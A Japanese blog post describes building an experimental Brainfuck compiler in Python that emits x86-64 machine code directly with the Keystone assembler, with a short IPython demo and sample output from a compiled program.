コンパイラというと、実際は、機械語を直接吐き出すのではなく、一度アセンブリ言語やなんらかの中間言語を生成して、そのあとでアセンブラ等によって機械語を吐き出すという形なものが書きやすく一般的(一般性を十分担保できるほど僕はコンパイラの実装を読んでいないが)な気がしますが、今回は、bfのコードを受け取って直接機械語に翻訳してみようと思います。

というのも課題の指定がそうなので。課題ではコンパイラそのものもアセンブリ言語で書く必要がありますが、とりあえず方針を立てる意味でもPythonで書いてみようと思います。またPowerPCではなくx86-64上のLinuxで動くプログラムについて考えます(なのでこの記事は課題そのものではないです)。

keystone engine

そうはいっても、吐き出す機械語をマニュアルを読んで生成するのはさすがに億劫なので、keystone engineという、CTFしているとたまに見かけるAssembly Frameworkの力を借ります。実際これで遊んでみたのを記録にしようと思っただけという話でもあります。

Keystoneを使うと次のように、アセンブリを対応する機械語に変換してくれます。

In [2]: from keystone import *

In [3]: ks = Ks(KS_ARCH_X86, KS_MODE_64)

In [4]: def asm(code):
   ...:     c, _ = ks.asm(code)
   ...:     return ''.join([chr(x) for x in c])
   ...:

In [5]: asm("mov rax, 1")
Out[5]: 'H\xc7\xc0\x01\x00\x00\x00'

In [6]: asm("nop")
Out[6]: '\x90'

In [7]: asm("jmp 0")
Out[7]: '\xeb\xfe'

書いたもの

現状はこんな感じで書いています。bfの仕様としては、とりあえず、めんどいのでメモリは100000バイトの領域を0x900000からmmapで確保するという適当なことをしてはいます。当然領域外へ出たら壊れます。 ここらへんちゃんとELF上に書いておけばいい話ではあるんですが、それをやるよりmmapした方が(書くのが)速いし、全体のサイズが小さいという話があるので、まぁ気が向いたらみたいなところが強い

あとはこれをアセンブリで書き出すだけではありますが、面倒なので気合いが出ればやろうという感じ

実行

せっかくなので、いくつかのbfのコードを実際にコンパイルしてみました。例えば、先日のesolangのCodeGolf大会で、@satosさんが書いた「与えられた2進数が三角数かどうか判定」するプログラムを実際に実行してみました(回答自体はTSGのGithubからみられます)。

ubuntu@ubuntu-xenial:~/ctf/experiment$ ./bf
00000011
00110111
10100101
00011111
01011001
10010100
00111100
01101000
11001000
01011011
10001000
10111110
01000010
01110011
10011001
10101100
00001010
01101001
00101101
11111101
11100111
00001000
00001111
10101011
00110010
11110111
00011100
11110110
00000000
10110001
01111000
00100011
01001110
10010000
00000110
00000001
00110011
00010101
10000101
11010010
00010101
01111101
00100001
01011010
00101110
11001010
11100000
00100100
10111110
00111110
11000000011110101111101100101010101101011000000110

一応正しく動いていそうです。

ちなみにコンパイルしたあとのバイナリをディスアセンブルすると、

enter image description here

こんな感じになります。Rev問だったら地獄ですね?

実際、同じ処理をペタペタ貼り付けているだけなので、ここらへんもう少し効率化とかすると楽しいかもしれません。